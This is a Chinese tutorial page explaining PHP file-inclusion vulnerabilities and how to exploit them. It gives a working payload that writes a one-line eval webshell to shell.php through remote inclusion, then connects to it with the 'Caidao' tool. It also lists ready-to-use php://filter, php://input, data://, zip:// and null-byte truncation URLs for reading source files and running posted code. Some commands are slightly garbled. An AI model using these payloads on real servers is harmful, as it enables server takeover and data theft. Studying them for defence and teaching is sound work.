视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
php文件包含漏洞原理浅探
2020-11-03 18:24:28 责编:小采
文档


综合特性:利用该特性包含文件的方法,访问本地的其它文件均会执行php解析或者回显文本的内容;尤其是系统敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路径则需要结合其它姿势来获得(例如上面利用error回显的方式)

重要的一点:得具有文件的操作权限哦

远程包含Shell

远程包含文本的条件是 allow_url_fopen= on

创建shell.txt(功能:在服务端本地创建一句话木马脚本)

<?php
 $key= ("<?php @eval($_POST['mirror']);?>");//$符号需要转义要按字符存
 $file = fopen("shell.php","w");
 fwrite($file, $key);
 fclose($file);
?>

构造:http://127.0.0.1/?url=..xxshell.txt

远程包含文本执行成功后,服务端本地会创建一个"shell.php"一句话木马执行文件

shell.php创建后,使用“菜刀”连接一句话:

喏!包含执行文件创建本地一个shell.php一句话木马,然后菜刀连木马!一梭子搞定!

文件包含配合上传

利用web应用的上传功能,上传一张伪木马图片,然后利用文件包含执行已上传的图片,然后伪木马图片的功能就是被包含执行后在服务端本地创建一个木马执行php文件

PHP封装协议利用

PHP内置很多的PHP封装协议(详细见官方文档),封装协议的功能和文件函数(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等

考虑安全都是全部关闭

内置封装协议

【引用官方文档】

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流
  • file://协议:

    访问本地文件系统

    file://[本地文件的绝对路径和文件名]

    php://协议:

    访问各个IO流

    需要开启 allow_url_include: on

  • php://stdin:直接访问PHP进程相应的输入或输出流(只读)

  • php://stdout:直接访问PHP进程相应的输入或输出流(只写)

  • php://stderr:直接访问PHP进程相应的输入或输出流(只写)

  • php://filter:进行任意文件读取的利用

  • php://input:访问请求的原始数据的只读流,将post请求中的数据作为php解析

  • php://output:只写的数据流,允许print和echo方式写入到输出缓存中

  • php://fd: 允许直接访问指定的文件描述符

    更多详细可以参考官方php://协议文档

  • zip://协议:

    (zip:// , bzip2:// , zlib:// )属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

    zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

    注意 井字符号 ’ # ‘ 在url中需要转为 %23

    data://协议:

    data://text/plain;base,[string_base加密后]

    glob://协议:

    查询匹配的文件路径模式

    glob://[url]
    <?php
    // 循环 ext/spl/examples/ 目录里所有 *.php 文件
    // 并打印文件名和文件尺寸
    $it = new DirectoryIterator("glob://ext/spl/examples/*.php");
    foreach($it as $f) {
     printf("%s: %.1FK
    ", $f->getFilename(), $f->getSize()/1024);
    }
    ?>

    expect://协议:

    处理交互式数据流(默认未开启,需要安装PECL—Expect扩展)

    expect://command

    参见文章:php伪协议实现命令执行的七种姿势

    读取PHP文件

    利用file://读取文件内容

    file://[本地文件的绝对路径和文件名]

    利用php://filter读取php文件内容

    http://127.0.0.1/?url=php://filter/read=convert.base-encode/resource=shelll.php

    这里的结果是经过Base加密的

    利用php://input:

    使用php://input可以执行PHP语句,但是受限于allow_utl_include= On

    url text:

    http://127.0.0.1/index.php/?url=php://input

    Post data:

    <?php phpinfo();?>

    喏!利用“php://input"执行php代码”post data数据内容“,这里只是回显phpinfo(),如果我们利用php://input执行服务端本地创建php一句话木马文件,后果可想而知

    利用data://:

    受限于allow_utl_include= Onphp.ini配置

    ?file=[data://text/plain;base,[base编码加密的payload)]

    注意没有php闭合标签

    利用zip://:

    ?url=zip://C:UsersMirrorDesktop/zip.zip%23shell.php

    总结

    上面这张图是笔者从FREEBUF漏斗社区的文章中copy来的,算是一个不错的总结^_^

    截断包含

    magic_quotes_gpc = off函数为Off状态才可以使用,因为在On状态下%00会被转义导致无法截断;https://www.cnblogs.com/timelesszhuang/p/3726736.html

    PHP6/7关闭了magic_quotes_gpc函数: PHP67关闭magic_quotes_gpc对程序的影响

    文件包含的漏洞修复,尤其是include()相关文件包含函数,只要后缀名就好了?

    <?php
     if(iset($_GET['url'])){
     include $_GET['url'].".php";
     } else{
     include 'home.php';
     }
    ?>

    上述程序就是固定后缀名,用户只需要指明文件名就可以,不需要用户提交后缀名

    现在我们利用之前的包含手段,包含"shell.php"文件

    http://127.0.0.1/index.php/?url=shell.php

    由于程序固定了文件后缀格式,于是在后台会构成

    shell.php.php

    而include()无法查找到“shell.php.php”,故此导致报错

    采用字节截断

    http://127.0.0.1/index.php/?url=shell.php%00

    PHP5.2+的版本渐渐的都修复了字节截断,所以很少有利用了

    笔者不做过多的细节说明^_^

    本文来自Gxlcms,php教程栏目,欢迎学习!

    下载本文
    显示全文
    专题